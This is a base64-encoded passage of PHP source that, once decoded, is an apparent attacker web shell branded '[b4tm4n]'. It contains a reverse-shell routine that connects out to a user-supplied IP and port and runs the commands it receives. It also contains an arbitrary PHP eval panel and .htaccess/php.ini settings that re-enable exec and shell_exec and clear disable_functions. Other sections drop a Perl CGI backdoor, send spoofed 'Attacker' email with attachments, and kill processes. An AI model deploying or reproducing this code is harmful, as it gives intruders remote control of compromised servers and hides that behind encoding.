hc3M9J2Nvbm5lY3QtbGVmdCc+DQoJCQkJCTxkaXYgY2xhc3M9J1JldmVyc2UtY29ubmVjdCc+DQoJCQkJCQk8ZmllbGRzZXQ+DQoJCQkJCQkJPGxlZ2VuZD5SZXZlcnNlIENvbm5lY3Q8L2xlZ2VuZD4NCgkJCQkJCQk8Zm9ybSBhY3Rpb249Jz94PWNvbm5lY3QmeGE9cmV2ZXJzZS1jb25uZWN0JyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwiDQoJCQkJCQkJCXJldHVybiBjb25maXJtKCdIT1NUIHdpbGwgRlVDS0VEIE9OIHVyIFBDIG9yIExBUFRPUCA/IVxcbk1ha2UgU3VyZSB1ciBGSVJFV0FMTCBPRkYgPyFcXG5VU0UgTkVUQ0FUIHtuYyAtbHZwICcgKyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmV2ZXJzZS1wb3J0JykudmFsdWUrJ31cXG5cXG5UWVBFIFwnZXhpdFwnIG9yIFwncXVpdFwnIHRvIFRFUk1JTkFURScpXCI+DQoJCQkJCQkJCTxsYWJlbD5SZW1vdGUgSXA8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdyZXZlcnNlLWlwJyB2YWx1ZT0nJXMnLz48YnI+DQoJCQkJCQkJCTxsYWJlbD5SZW1vdGUgUG9ydDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdyZXZlcnNlLXBvcnQnIG5hbWU9J3JldmVyc2UtcG9ydCcgdmFsdWU9JzEzMzcnLz48YnI+DQoJCQkJCQkJCTxsYWJlbD5Tb2NrZXQ8L2xhYmVsPjxzZWxlY3QgbmFtZT0nc29ja2V0Jz4NCgkJCQkJCQkJCTxvcHRpb24gdmFsdWU9J2Zzb2Nrb3Blbic+ZnNvY2tvcGVuPC9vcHRpb24+DQoJCQkJCQkJCQk8b3B0aW9uIHZhbHVlPSdzb2NrZXRfY3JlYXRlJz5zb2NrZXRfY3JlYXRlPC9vcHRpb24+DQoJCQkJCQkJCQk8b3B0aW9uIHZhbHVlPSdzdHJlYW1fc29ja2V0X2NsaWVudCc+c3RyZWFtX3NvY2tldF9jbGllbnQ8L29wdGlvbj4NCgkJCQkJCQkJPC9zZWxlY3Q+PGJyPg0KCQkJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgIC8+DQoJCQkJCQkJPC9mb3JtPg0KCQkJCQkJPC9maWVsZHNldD4NCgkJCQkJPC9kaXY+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0nY29ubmVjdC1yaWdodCc+DQoJCQkJCTxkaXYgY2xhc3M9J3N0YXR1cy1jb25uZWN0Jz4NCgkJCQkJCTxmaWVsZHNldD4NCiAJCQkJCQkJPGxlZ2VuZD5TdGF0dXM8L2xlZ2VuZD4NCgkJCQkJCQk8ZGl2IGlkPSdjb25uZWN0LXJlc3VsdCc+VGVybWluYWw6ICVzIiwNCgkJCQkJCQlyZW1vdGVfYWRkcixFeGVjdXRlKCd3aG9hbWknKSANCgkJKTsNCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJyZXZlcnNlLWNvbm5lY3QiKQ0KCQl7DQoJCQlpZigkX1JFUVVFU1RbJ3NvY2tldCddPT0iZnNvY2tvcGVuIikNCgkJCXsNCgkJCQkkaG9zdD0kX1JFUVVFU1RbJ3JldmVyc2UtaXAnXTsNCgkJCQkkcG9ydD0kX1JFUVVFU1RbJ3JldmVyc2UtcG9ydCddOw0KCQkJCSRzb2NrPUBmc29ja29wZW4oJGhvc3QsJHBvcnQsJGVycm5vLCRlcnJzdHIpOw0KCQkJCWlmKCRlcnJubyE9MCkNCgkJCQl7DQoJCQkJCXByaW50ZigiPGZvbnQgY29sb3I9J3JlZCc+PGI+JXM8L2I+OiVzPC9mb250PiIsJGVycm5vLCRlcnJzdHIpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl3aGlsZSghZmVvZigkc29jaykpIA0KCQkJCSAgICB7DQoJCQkJICAgIAlmd3JpdGUoJHNvY2ssIltiNHRtNG5dOiIpOw0KCQkJCSAgICAgICAgJGNvbW1hbmQ9ZmdldHMoJHNvY2ssMTAyNCk7DQoJCQkJICAgICAgICBpZih0cmltKCRjb21tYW5kKT09J3F1aXQnfHx0cmltKCRjb21tYW5kKT09J2V4aXQnKQ0KCQkJCQkgICAgew0KCQkJCQkgICAgCWZjbG9zZSgkc29jayk7DQoJCQkJCSAgICAJcHJpbnRmKCRjb21tYW5kKTsNCgkJCQkJICAgIAlleGl0Ow0KCQkJCQkgICB9DQoJCQkJICAgICAgIGZ3cml0ZSgkc29jayxFeGVjdXRlKCRjb21tYW5kKSk7DQoJCQkJICAgfQ0KCQkJCSAgICBmY2xvc2UoJHNvY2spOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2UgaWYoJF9SRVFVRVNUWydzb2NrZXQnXT09InNvY2tldF9jcmVhdGUiKQ0KCQkJew0KCQkJCSRob3N0PSRfUkVRVUVTVFsncmV2ZXJzZS1pcCddOw0KCQkJCSRwb3J0PSRfUkVRVUVTVFsncmV2ZXJzZS1wb3J0J107DQoJCQkJJHNvY2s9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApOw0KCQkJCXNvY2tldF9zZXRfbm9uYmxvY2soJHNvY2spOw0KCQkJCWlmKCEkc29jaykNCgkJCQl7DQoJCQkJCXByaW50ZigiPGZvbnQgY29sb3I9J3JlZCc+Q29ubmVjdGlvbiBFcnJvcjwvZm9udD4iKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJd2hpbGUoIUBzb2NrZXRfY29ubmVjdCgkc29jaywkaG9zdCwkcG9ydCkpIA0KCQkJCQl7DQoJCQkJCSAgICBAc29ja2V0X3dyaXRlKCRzb2NrLCJbYjR0bTRuXToiLHN0cmxlbiAoIltiNHRtNG5dOiIpKTsNCgkJCQkJICAgICRpbnB1dD1Ac29ja2V0X3JlYWQoJHNvY2ssMTAyNCxQSFBfTk9STUFMX1JFQUQpOw0KCQkJCQkgICAgaWYgKHRyaW0oJGlucHV0KT09J3F1aXQnfHx0cmltKCRpbnB1dCk9PSdleGl0JykNCgkJCQkJICAgIHsNCgkJCQkJICAgIAlzb2NrZXRfc2V0X2Jsb2NrKCRzb2NrKTsNCgkJCQkJICAgIAlzb2NrZXRfY2xvc2UoJHNvY2spOw0KCQkJCQkgICAgCXByaW50ZigkaW5wdXQpOw0KCQkJCQkgICAgCWV4aXQ7DQoJCQkJCSAgIH0NCgkJCQkJICAgQHNvY2tldF93cml0ZSgkc29jayxFeGVjdXRlKCRpbnB1dCksc3RybGVuIChFeGVjdXRlKCRpbnB1dCkpKTsNCgkJCQkJfQ0KCQkJCQlzb2NrZXRfc2V0X2Jsb2NrKCRzb2NrKTsNCgkJCQkJc29ja2V0X2Nsb3NlKCRzb2NrKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlIGlmKCRfUkVRVUVTVFsnc29ja2V0J109PSJzdHJlYW1fc29ja2V0X2NsaWVudCIpDQoJCQl7DQoJCQkJJGhvc3Q9JF9SRVFVRVNUWydyZXZlcnNlLWlwJ107DQoJCQkJJHBvcnQ9JF9SRVFVRVNUWydyZXZlcnNlLXBvcnQnXTsNCgkJCQkkc29jaz1Ac3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovLyRob3N0OiRwb3J0IiwkZXJybm8sJGVycnN0cik7DQoJCQkJaWYgKCEkc29jaykgDQoJCQkJeyANCgkJCQkgICAgcHJpbnRmKCI8Zm9udCBjb2xvcj0ncmVkJz48Yj4lczwvYj46JXM8L2ZvbnQ+IiwkZXJybm8sJGVycnN0cik7DQoJCQkJfQ0KCQkJCWVsc2UgDQoJCQkJeyANCgkJCQkJd2hpbGUoIWZlb2YoJHNvY2spKSANCgkJCQkgICAgeyANCgkJCQkgICAgCWZ3cml0ZSgkc29jaywiW2I0dG00bl06Iik7DQoJCQkJICAgICAgICAkY29tbWFuZD1mZ2V0cygkc29jaywxMDI0KTsNCgkJCQkgICAgICAgIGlmKHRyaW0oJGNvbW1hbmQpPT0ncXVpdCd8fHRyaW0oJGNvbW1hbmQpPT0nZXhpdCcpDQoJCQkJCSAgICB7DQoJCQkJCSAgICAJZmNsb3NlKCRzb2NrKTsNCgkJCQkJICAgIAlwcmludGYoJGNvbW1hbmQpOw0KCQkJCQkgICAgCWV4aXQ7DQoJCQkJCSAgIH0NCgkJCQkgICAgICAgIGZ3cml0ZSgkc29jayxFeGVjdXRlKCRjb21tYW5kKSk7DQoJCQkJICAgfQ0KCQkJCSAgICBmY2xvc2UoJHNvY2spOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlwcmludGYoIjwvZmllbGRzZXQ+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Iik7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0iaHRhY2Nlc3MiKQ0KCXsNCgkJJHBocF9pbmk9YXJyYXkoDQoJCQkicGhwX3ZhbHVlIHVwbG9hZF9tYXhfZmlsZXNpemUgMzJNIiwNCgkJCSJwaHBfdmFsdWUgcG9zdF9tYXhfc2l6ZSAzMk0iLA0KCQkJInBocF9mbGFnIHNhZmVfbW9kZSBPZmYiLA0KCQkJInBocF92YWx1ZSBkaXNhYmxlX2Z1bmN0aW9ucyBudWxsIiwNCgkJCSJwaHBfZmxhZyBzYWZlX21vZGVfZ2lkIE9mZiIsDQoJCQkicGhwX3ZhbHVlIG9wZW5fYmFzZWRpciAkZGlyIiwNCgkJCSJwaHBfZmxhZyByZWdpc3Rlcl9nbG9iYWxzIE9uIiwNCgkJCSJwaHBfZmxhZyBleGVjIE9uIiwNCgkJCSJwaHBfZmxhZyBzaGVsbF9leGVjIE9uIik7DQoNCgkJJGh0YWNjZXNzPWFycmF5KA0KCQkJIk9wdGlvbnMgQWxsIiwNCgkJCSJBbGxvdyBGcm9tIEFsbCIsDQoJCQkiU2F0aXNmeSBBbnkiKTsNCg0KCQlwcmludGYoIg0KCQkJPGRpdiBjbGFzcz0nZGl2aWRlJz4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtbGVmdCc+DQoJCQkJCTx0ZXh0YXJlYT4lczwvdGV4dGFyZWE+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLXJpZ2h0Jz4NCgkJCQkJPHRleHRhcmVhPiVzPC90ZXh0YXJlYT4NCgkJCQk8L2Rpdj4NCgkJCTwvZGl2PiIsaW1wbG9kZSgkcGhwX2luaSwiXG4iKSxpbXBsb2RlKCRodGFjY2VzcywiXG4iKSk7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0icGhwIikNCgl7CQ0KCQkkZXhwPWFycmF5KA0KCQkJInByaW50X3IoZ2V0X2V4dGVuc2lvbl9mdW5jcygnQ29yZScpKTsiLA0KCQkJInByaW50X3IoZ2V0X2xvYWRlZF9leHRlbnNpb25zKCkpOyIsDQoJCQkicHJpbnRfcihpbmlfZ2V0X2FsbCgncGNyZScpKTsiLA0KCQkJInByaW50X3IoaW5pX2dldF9hbGwoKSk7IiwNCgkJCSJwcmludF9yKGdldF9kZWZpbmVkX2NvbnN0YW50cygpKTsiLA0KCQkJInByaW50X3IoZ2V0X2RlZmluZWRfZnVuY3Rpb25zKCkpOyIsDQoJCQkicHJpbnRfcihnZXRfZGVjbGFyZWRfY2xhc3NlcygpKTsiKTsNCgkJDQoJCXByaW50ZigiPGRpdiBpZD0ncGhwJz4NCgkJCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnPg0KCQkJCQkJPGRpdiBjbGFzcz0ncGhwLWxlZnQnPg0KCQkJCQkJCTx0ZXh0YXJlYSBpZD0ncGhwLWNvZGUnIGNvbHM9JzEyMicgcm93cz0nMjAnPiVzPC90ZXh0YXJlYT4NCgkJCQkJCTwvZGl2Pg0KCQkJCQkJPGRpdiBjbGFzcz0ncGhwLXJpZ2h0Jz4NCgkJCQkJCQk8dGV4dGFyZWEgaWQ9J3BocC1ldmFsJyBjb2xzPScxMjInIHJvd3M9JzIwJyByZWFkb25seT48L3RleHRhcmVhPg0KCQkJCQkJPC9kaXY+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBpZD0ncGhwLXN1Ym1pdCcgb25jbGljaz1cImdldEFqYXgoZmFsc2UsJ3BocC1ldmFsJywnUE9TVCcsJz94PXBocCZjb2RleD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwaHAtY29kZScpLnZhbHVlKTtcIiBjbGFzcz0ncGhwLWNvZGUnIG5hbWU9cGhwLWNvZGUgY29scz0xMjIgcm93cz0yMCB2YWx1ZT0nSW5qZWN0Jy8+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBpZD0ncGhwLXN1Ym1pdCcgb25jbGljaz1cImdldEFqYXgoZmFsc2UsJ3BocC1ldmFsJywnUE9TVCcsJz94PXBocCZjb2RlPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BocC1jb2RlJykudmFsdWUpO1wiIGNsYXNzPSdwaHAtY29kZScgbmFtZT1waHAtY29kZSBjb2xzPTEyMiByb3dzPTIwIHZhbHVlPSdSdW4nLz4NCgkJCQkJPC9mb3JtPg0KCQkJCTwvZGl2PiIsaW1wbG9kZSgkZXhwLCJcbiIpKTsNCg0KCQlpZihhbnkoImNvZGUiLCRfUkVRVUVTVCkpDQoJCXsNCgkJCW9iX2NsZWFuKCk7DQoJCQkkY29kZT10cmltKCRfUkVRVUVTVFsnY29kZSddKTsNCgkJCSRldmlsPUV2aWwoJGNvZGUpOw0KCQkJZXhpdDsNCgkJfQ0KCQlpZihhbnkoImNvZGV4IiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJGNvZGU9dHJpbSgkX1JFUVVFU1RbJ2NvZGV4J10pOw0KCQkJJGV2aWw9RXZpbCgkY29kZSx0cnVlKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJwZXJsIikNCgl7DQoJCXByaW50ICdQSFAgUGVybCBDbGFzczogJy4oY2xhc3NfZXhpc3RzKCdQZXJsJyk/IjxiIGNsYXNzPSdvbic+T048L2I+IjoiPGIgY2xhc3M9J29mZic+T0ZGPC9iPiIpLic8YnI+JzsNCg0KCQlpZihVbml4KCkpDQoJCXsNCgkJCWlmKGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9wZXJsIikpDQoJCQl7DQoJCQkJJHBhdGhfcGVybD0iL3Vzci9iaW4vcGVybCI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHBhdGhfcGVybD0iL3Vzci9iaW4vZW52IHBlcmwiOw0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJaWYoZmlsZV9leGlzdHMoIkM6XFxwZXJsXGJpblxwZXJsLmV4ZSIpKQ0KCQkJew0KCQkJCSRwYXRoX3Blcmw9IkM6XFxwZXJsXGJpblxwZXJsLmV4ZSI7DQoJCQl9DQoJCQllbHNlaWYoZmlsZV9leGlzdHMoIkM6XFx3YW1wXGJpblxwZXJsLmV4ZSIpKQ0KCQkJew0KCQkJCSRwYXRoX3Blcmw9IkM6XFx3YW1wXGJpblxwZXJsLmV4ZSI7DQoJCQl9DQoJCQllbHNlaWYoZmlsZV9leGlzdHMoIkM6XFx4YW1wcFxwZXJsXGJpblxwZXJsLmV4ZSIpKQ0KCQkJew0KCQkJCSRwYXRoX3Blcmw9IkM6XFx4YW1wcFxwZXJsXGJpblxwZXJsLmV4ZSI7DQoJCQl9DQoJCX0NCgkJDQoJCSRzY3JpcHQ9YXJyYXkoDQoJCQkiIyEkcGF0aF9wZXJsIiwNCgkJCSJ1c2Ugc3RyaWN0OyIsDQoJCQkidXNlIHdhcm5pbmdzOyIsDQoJCQkidXNlIENHSTsiLA0KCQkJInByaW50IENHSTo6aGVhZGVyKCk7IiwNCgkJCSJwcmludCAnTDBOM1cwUk0gb24gQ0dJJzsiKTsNCg0KCQkkaHRhY2Nlc3M9YXJyYXkoDQoJCQkiT3B0aW9ucyArRXhlY0NHSSArU3ltTGlua3NJZk93bmVyTWF0Y2giLA0KCQkJIkRpcmVjdG9yeUluZGV4IGluZGV4LmxlciIsDQoJCQkiQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAubGVyIiwNCgkJCSJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmxlciIpOw0KDQoJCSRwYXRoPSRkaXIuXy4nY2dpLWJpbic7DQoJCSRmaWxlPSRwYXRoLl8uJ3BlcmwubGVyJzsNCgkJJGZpbGUyPSRwYXRoLl8uJy5odGFjY2Vzcyc7DQoNCgkJJHNjcmlwdHM9aW1wbG9kZSgkc2NyaXB0LCJcbiIpOw0KCQkkaHRhY2Nlc3NzPWltcGxvZGUoJGh0YWNjZXNzLCJcbiIpOw0KDQoJCWlmKCFpc19kaXIoJHBhdGgpKQ0KCQl7DQoJCQlta2RpcigkcGF0aCwwNzU1KTsNCgkJfQ0KCQlpZighaXNfZmlsZSgkZmlsZSkpDQoJCXsNCgkJCSRvcD1mb3BlbigkZmlsZSwndysnKTsNCgkJCWZ3cml0ZSgkb3AsJHNjcmlwdHMpOw0KCQkJZmNsb3NlKCRvcCk7DQoJCQljaG1vZCgkZmlsZSwwNzU1KTsNCgkJfQ0KCQlpZighaXNfZmlsZSgkZmlsZTIpKQ0KCQl7DQoJCQkkb3A9Zm9wZW4oJGZpbGUyLCd3KycpOw0KCQkJZndyaXRlKCRvcCwkaHRhY2Nlc3NzKTsNCgkJCWZjbG9zZSgkb3ApOw0KCQkJY2htb2QoJGZpbGUyLDA3NTUpOw0KCQl9DQoNCgkJJHJlZGlyZWN0PUdldFVybEZyb21QYXRoKCRmaWxlKTsNCgkJcHJpbnRmKCJUZXN0ZWQgLT4gPGEgaHJlZj0nJHJlZGlyZWN0JyB0YXJnZXQ9J19ibGFuayc+PHU+TGluazwvdT48L2E+Iik7DQoJCQ0KCQlpZiAoY2xhc3NfZXhpc3RzKCdQZXJsJykpDQoJCXsNCgkJCS8vJHBlcmw9UGVybDo6Z2V0SW5zdGFuY2UoKTsNCgkJCSRwZXJsPW5ldyBQZXJsKCk7DQoJCQkkcGVybC0+ZXZhbCgicHJpbnQgXCJFeGVjdXRpbmcgUGVybCBjb2RlIGluIFBIUFxuXCIiKTsNCgkJCXByaW50ICJIZWxsbyBmcm9tIFBIUCEgIjsNCg0KCQkJLy8kcGVybD1uZXcgUGVybCgpOw0KCQkJJHBlcmwtPnJlcXVpcmUoJGZpbGUpOw0KCQkJJHZhbD0kcGVybC0+c29tZVBocEZ1bmMoJ3Rlc3QnKTsNCgkJCXByaW50ICR2YWw7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJtYWlsIikNCgl7DQoJCXByaW50ZigiDQoNCgkJCTxkaXYgY2xhc3M9J2RpdmlkZSc+DQoJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPg0KCQkJCQk8ZmllbGRzZXQ+DQoJCQkJCQk8bGVnZW5kPk1haWw8L2xlZ2VuZD4NCgkJCQkJCTxmb3JtIG9uc3VibWl0PSdyZXR1cm4gZmFsc2U7JyBjbGFzcz0nbWFpbCc+DQoJCQkJCQkJPGxhYmVsPkZyb208L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtZnJvbScgcGxhY2Vob2xkZXI9J0F0dGFja2VyIDx2ZXJ5QGhhbmRzb21lLmNvbT4nIHZhbHVlPSdBdHRhY2tlciA8dmVyeUBoYW5kc29tZS5jb20+Jy8+PGJyPg0KCQkJCQkJCTxsYWJlbD5SZXBseSBUbzwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlbWFpbC1yZXBseScgcGxhY2Vob2xkZXI9dmVyeUBoYW5kc29tZS5jb20nIHZhbHVlPSd2ZXJ5QGhhbmRzb21lLmNvbScvPjxicj4NCgkJCQkJCQk8bGFiZWw+VG88L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtdG8nIHBsYWNlaG9sZGVyPSdUYXJnZXQgMSA8dGFyZ2V0MUB0YXJnZXQuY29tPixUYXJnZXQgMiA8dGFyZ2V0MkB0YXJnZXQuY29tPicgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+Q2M8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtY2MnIHBsYWNlaG9sZGVyPSd0YXJnZXQxQHRhcmdldC5jb20sdGFyZ2V0MkB0YXJnZXQuY29tJyB2YWx1ZT0nJy8+PGJyPg0KCQkJCQkJCTxsYWJlbD5CY2M8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtYmNjJyBwbGFjZWhvbGRlcj0ndGFyZ2V0MUB0YXJnZXQuY29tLHRhcmdldDJAdGFyZ2V0LmNvbScgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlbWFpbC1zdWJqZWN0JyBwbGFjZWhvbGRlcj0nV2hhdCBZb3UgV2FpdGluZyBGb3IgPycgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+QXR0YWNobWVudCAoRklsZW5hbWUpPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VtYWlsLWF0dGFjaG1lbnQnIHBsYWNlaG9sZGVyPSclcycgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+TWVzc2FnZXM8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtbWVzc2FnZScvPjxicj4NCgkJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2VuZCcgb25jbGljaz1cIg0KDQoJCQkJCQkJCWdldEFqYXgodHJ1ZSwNCgkJCQkJCQkJCSdzZW5kLXJlc3VsdCcsDQoJCQkJCQkJCQknUE9TVCcsDQoJCQkJCQkJCQknP3g9bWFpbCZ4YT1zZW5kJysNCgkJCQkJCQkJCScmZnJvbT0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbC1mcm9tJykudmFsdWUrDQoJCQkJCQkJCQknJnJlcGx5PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLXJlcGx5JykudmFsdWUrDQoJCQkJCQkJCQknJnRvPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLXRvJykudmFsdWUrDQoJCQkJCQkJCQknJmNjPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLWNjJykudmFsdWUrDQoJCQkJCQkJCQknJmJjYz0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbC1iY2MnKS52YWx1ZSsNCgkJCQkJCQkJCScmc3ViamVjdD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbC1zdWJqZWN0JykudmFsdWUrDQoJCQkJCQkJCQknJm1lc3NhZ2U9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZW1haWwtbWVzc2FnZScpLnZhbHVlKw0KCQkJCQkJCQkJJyZhdHRhY2htZW50PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLWF0dGFjaG1lbnQnKS52YWx1ZSk7DQoNCgkJCQkJCQlcIi8+CQ0KCQkJCQkJPC9mb3JtPg0KCQkJCQk8L2ZpZWxkc2V0Pg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1yaWdodCc+DQoJCQkJCTxmaWVsZHNldD4NCgkJCQkJCTxsZWdlbmQ+UmVzdWx0J3M8L2xlZ2VuZD4NCgkJCQkJCTxkaXYgaWQ9J3NlbmQtcmVzdWx0Jz48L2Rpdj4NCgkJCQkJPC9maWVsZHNldD4NCgkJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KDQoJCSIscGhwX3NlbGYpOw0KDQoJCWlmKGFueSgneGEnLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09J3NlbmQnKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJGZyb209JF9SRVFVRVNUWydmcm9tJ107DQoJCQkkcmVwbHk9JF9SRVFVRVNUWydyZXBseSddOw0KCQkJJHRvPSRfUkVRVUVTVFsndG8nXTsNCgkJCSRjYz0kX1JFUVVFU1RbJ2NjJ107DQoJCQkkYmNjPSRfUkVRVUVTVFsnYmNjJ107DQoJCQkkc3ViamVjdD0kX1JFUVVFU1RbJ3N1YmplY3QnXTsNCgkJCSRtc2c9JF9SRVFVRVNUWydtZXNzYWdlJ107DQoJCQkkYXR0YWNobWVudD0kX1JFUVVFU1RbJ2F0dGFjaG1lbnQnXTsNCgkJCSR1aWQ9bWQ1KHVuaXFpZCh0aW1lKCkpKTsNCg0KCQkJJGhlYWRlcnNbXT0iRnJvbTogJGZyb20iOw0KCQkJJGhlYWRlcnNbXT0iUmVwbHktVG86ICRyZXBseSI7DQoJCQkkaGVhZGVyc1tdPSJUbzogJHRvIjsNCgkJCWlmKCFlbXB0eSgkY2MpKSAkaGVhZGVyc1tdPSdDYzogJGNjJzsNCgkJCWlmKCFlbXB0eSgkYmNjKSkgJGhlYWRlcnNbXT0nQmNjOiAkYmNjJzsNCgkJCSRoZWFkZXJzW109Ik1JTUUtVmVyc2lvbjogMS4wIjsNCgkJCSRoZWFkZXJzW109IkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiR1aWRcIiI7DQoNCgkJCSRtZXNzYWdlc1tdPSItLSR1aWQiOw0KCQkgICAgJG1lc3NhZ2VzW109IkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVwiaXNvLTg4NTktMVwiIjsNCgkJICAgICRtZXNzYWdlc1tdPSJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0IjsNCgkJICAgICRtZXNzYWdlc1tdPSIiOw0KCQkgICAgJG1lc3NhZ2VzW109IiRtc2ciOw0KCQkgICAgJG1lc3NhZ2VzW109IiI7DQoNCgkJCWlmKGlzX2ZpbGUoJGF0dGFjaG1lbnQpKQ0KCQkJew0KCQkJCSRjb250ZW50PWZpbGVfZ2V0X2NvbnRlbnRzKCRhdHRhY2htZW50KTsNCgkJCQkkY29udGVudD1jaHVua19zcGxpdChCNjRFKCRjb250ZW50KSk7DQoJCQkJJG5hbWU9YmFzZW5hbWUoJGF0dGFjaG1lbnQpOw0KCQkJCSRtaW1lPW1pbWVfY29udGVudF90eXBlKCRhdHRhY2htZW50KTsNCg0KCQkJCSRtZXNzYWdlc1tdPSItLSR1aWQiOw0KCQkJICAgICRtZXNzYWdlc1tdPSJDb250ZW50LVR5cGU6ICRtaW1lOyBuYW1lPVwiJG5hbWVcIiI7DQoJCQkgICAgJG1lc3NhZ2VzW109IkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCI7DQoJCQkgICAgJG1lc3NhZ2VzW109IkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQiOw0KCQkJICAgICRtZXNzYWdlc1tdPSIiOw0KCQkJICAgICRtZXNzYWdlc1tdPSIkY29udGVudCI7DQoJCQkgICAgJG1lc3NhZ2VzW109IiI7DQoJCQkgICAgJG1lc3NhZ2VzW109Ii0tJHVpZC0tIjsNCgkJCX0NCg0KCQkJJG1lc3NhZ2U9aW1wbG9kZSgiXHJcbiIsJG1lc3NhZ2VzKTsNCgkJCSRoZWFkZXI9aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpOw0KDQoJCQlpZihtYWlsKCR0bywkc3ViamVjdCwkbWVzc2FnZSwkaGVhZGVyKSkNCgkJCXsNCgkJCQlwcmludCAiRW1haWwgU2VuZCI7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRlcnJvcj1lcnJvcl9nZXRfbGFzdCgpOw0KCQkJCXByaW50ICJFcnJvciA6IiAuICRlcnJvclsnbWVzc2FnZSddOw0KCQkJfQ0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09J3Byb2Nlc3MnKQ0KCXsNCgkJcHJpbnRmKCI8ZGl2IGlkPSdwcm9jZXNzLWtpbGwnPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/eD1wcm9jZXNzJnhhPWtpbGwnPg0KCQkJCQk8bGFiZWw+UElEPC9sYWJlbD4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BpZCcvPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nS2lsbCcvPjxicj4NCgkJCQkJPGxhYmVsPk5hbWU8L2xhYmVsPiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmFtZScvPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nS2lsbCcvPg0KCQkJCTwvZm9ybT48L2Rpdj4iKTsNCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVV